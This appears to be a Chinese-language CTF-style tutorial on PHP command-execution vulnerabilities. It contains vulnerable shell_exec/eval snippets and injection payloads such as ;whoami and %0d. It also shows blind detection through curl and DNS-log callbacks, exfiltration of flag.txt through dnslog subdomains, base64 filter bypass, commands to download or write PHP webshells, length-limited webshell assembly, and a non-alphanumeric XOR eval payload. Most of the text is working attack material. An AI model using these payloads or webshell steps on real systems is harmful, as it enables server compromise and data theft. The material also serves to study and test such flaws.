命令执行
简单介绍
1
| 用户通过浏览器提交执行命令,由于服务器没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者从$PATH或程序执行环境的其他方面来执行一个恶意构造的代码
|
1 2 3 4 5
| 命令执行与代码执行区别: 1、命令执行漏洞:直接调用操作系统命令 直接 2、代码执行漏洞:靠执行脚本代码调用操作系统命令 间接
|
命令执行函数
了解相关函数
参考文档
https://www.php.net/manual/zh/ref.exec.php
1 2 3 4 5 6
| system函数 exec函数 shell_exec函数 passthru函数 可以直接执行并输出结果 ``反引号与shell_exec函数类似。
|
命令执行分类
根据有无输出结果,有无回显分类
判断是否存在命令执行姿势
1 2 3
| 1、根据页面响应延时 2、发送http请求,http服务端显示请求 3、发送dns请求,dns服务端显示请求
|
延时执行
在shell命令中,具有sleep命令可完成延时执行。
1 2
| ls -alh |sleep 3 -alh显示所有文件,有利于我们观察,管道符(分隔符也可以,分别执行),前面输出结果作为后面的输入。
|
利用于无回显漏洞代码
1 2 3 4
| <?php shell_exec($_GET['cmd']); ?> 此命令不会将结果输出,我们通过延时执行判断是否存在命令执行。
|
http请求端口监听
服务端设置监听80端口,等待连接,输出相应
1 2 3
| nc -lvp 80 或 python -m SimpleHTTPServer -p 80
|
1 2
| curl 服务端ip地址:80 通过curl进行连接
|
1 2 3 4 5 6
| <?php shell_exec($_GET['cmd']); ?> 访问 ?cmd=curl ip:80 若出现请求则存在命令执行漏洞。
|
dns请求
网站
http://dnslog.cn/
或
http://ceye.io/
1 2 3
| 访问 ?cmd=ping -c 3 xxx.dnslog.cn -c 设置ping次数
|
dnslog利用命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php include(flag.txt) $cmd='ping -c 3.GET['a'];' echo $cmd; $out=shell_exec($cmd); ?> 由于无回显,不能直接cat读取文件内容, 权限较高时,可以进行本地读取: ?a=;copy flag.txt flag.txt 然后直接访问flag.txt
方法二dns请求读取
去掉文本中的空格,然后把内容拼接到域名 sed s/空格/没有任何内容/替换文本内容为空,[[:space:]]表示代码中的空格 ?a=`cat flag.txt|sed s/[[:space:]]//g.+子域名` g参数表示全局 域名只能出现数字、下划线、横杠、字母,如果ping命令不支持特殊符号,我们需要进行替换 ?a=`cat flag.txt|sed s/[[:space:]]//g|tr "<|?|$|{|}|'|;|=>" "0"`.+子域名 替换为0 ?a=`cat flag.txt|sed s/[[:space:]]//g|tr "<|?|$|{|}|'|;|=>" "1"`.+子域名 替换为1,对比猜出flag。
|
命令执行技巧
利用linux shell中特性
linux shell分隔符
1 2 3 4 5 6
| %0a %0d ; | ||前面错了,才会执行后面的。 &&
|
1 2 3 4 5 6 7 8 9
| <?php $a=$_GET['a']; $b=shell_exec('echo '.$a); echo $b; ?>
传入 ?a=abc%0d`whoami`记得反引号 ?a=abc;whoami
|
linux shell空格
常见绕过技巧
1、重定义变量 绕过命令过滤
2、base64编码
1
| `echo base64编码| base64 -d`
|
长度限制命令执行
无长度限制,可上传webshell,下载webshell,并重命名为x.php
1 2 3 4 5
| <?php $cmd=$_GET['cmd']; $output=shell_exec($cmd); echo $output; ?>
|
当前用户对该目录具有读写权限
1 2 3 4 5 6
| 1、执行命令 wget ip/a mv a a.php
2、直接写入webshell 执行命令 echo <?php "eval($_POST[1];)" > a.php
|
存在长度限制
1 2 3 4 5 6 7
| 使用w>重定向,拼接,倒序执行,其中\是长命令分隔,可将一条命令在多行执行,这里没有使用到。 <?php eval($_POST[1]);?> w>'?>' W>'($_POST[]);' W>'eval' w>'<?php' ls -t >1.php
|
无数字字母的执行
php生成异或代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php $a='~@#$%^&*()_+/?.,<>-={}[]|'; for($i=0;$i<strlen($a);$i++) for($j=0;$j<strlen($a);$j++){ if(ord($a[$i]^$a[$j])>64 && ord($a[$i]^$a[$j])<91){ echo $a[$i].' xor '.$a[$j].' is '; echo chr(ord($a[$i]^$a[$j])).' '; echo ord( $a[$i]^$a[$j]); echo "\n"; } else if(ord($a[$i]^$a[$j])>96 && ord($a[$i]^$a[$j])<122){ echo $a[$i].' xor '.$a[$j].' is '; echo chr(ord($a[$i]^$a[$j])).' '; echo ord($a[$i]^$a[$j]); echo "\n"; } } ?>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php function getFlag(){ echo flag{'xxx'}; } if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9]+/"($code)){ die("no"); } echo $code; eval($code); }else{ highlight_file(__FILE__) }
|
最终payload:
1
| ?code=$_='<>{=@^[' ^ '[[/{,?<';$_();
|